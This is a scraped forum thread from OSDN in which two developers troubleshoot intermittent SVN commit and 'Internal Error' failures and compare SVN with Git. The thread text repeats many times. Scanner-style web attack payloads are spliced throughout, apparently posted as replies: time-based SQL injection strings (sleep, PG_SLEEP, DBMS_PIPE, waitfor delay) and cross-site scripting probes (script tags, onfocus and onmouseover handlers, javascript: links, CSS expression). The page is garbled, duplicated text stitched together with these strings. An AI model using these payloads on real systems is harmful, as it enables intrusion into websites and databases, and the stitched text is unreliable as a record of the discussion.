Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<input autofocus onfocus=5fpQ(9943)>
1<input autofocus onfocus=7hru(9271)>
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/ySQzgZX4')) OR 842=(SELECT 842 FROM PG_SLEEP(15))--
555\u0022onmouseover=K55P(92923)\u0022
555
<a HrEF=jaVaScRiPT:>
%35%35%35%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4B%35%35%50%28%39%36%34%38%34%29%22
<a HrEF=jaVaScRiPT:>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/}body{zzz:Expre/**/SSion(5fpQ(9094))}
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
@@QYtC1
1}body{zzz:Expre/**/SSion(7hru(9847))}
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/vTpt9
<ScRiPt >5fpQ(9212)</ScRiPt>
555"sTYLe='zzz:Expre/**/SSion(K55P(9730))'bad="
1HOMab <ScRiPt >7hru(9699)</ScRiPt>
1-1; waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555"><script>K55P(9718)</script>
1<WODZMQ>HCPRO[!+!]</WODZMQ>
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/<WGYCO5>HRDCC[!+!]</WGYCO5>
1-1); waitfor delay '0:0:15' --
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
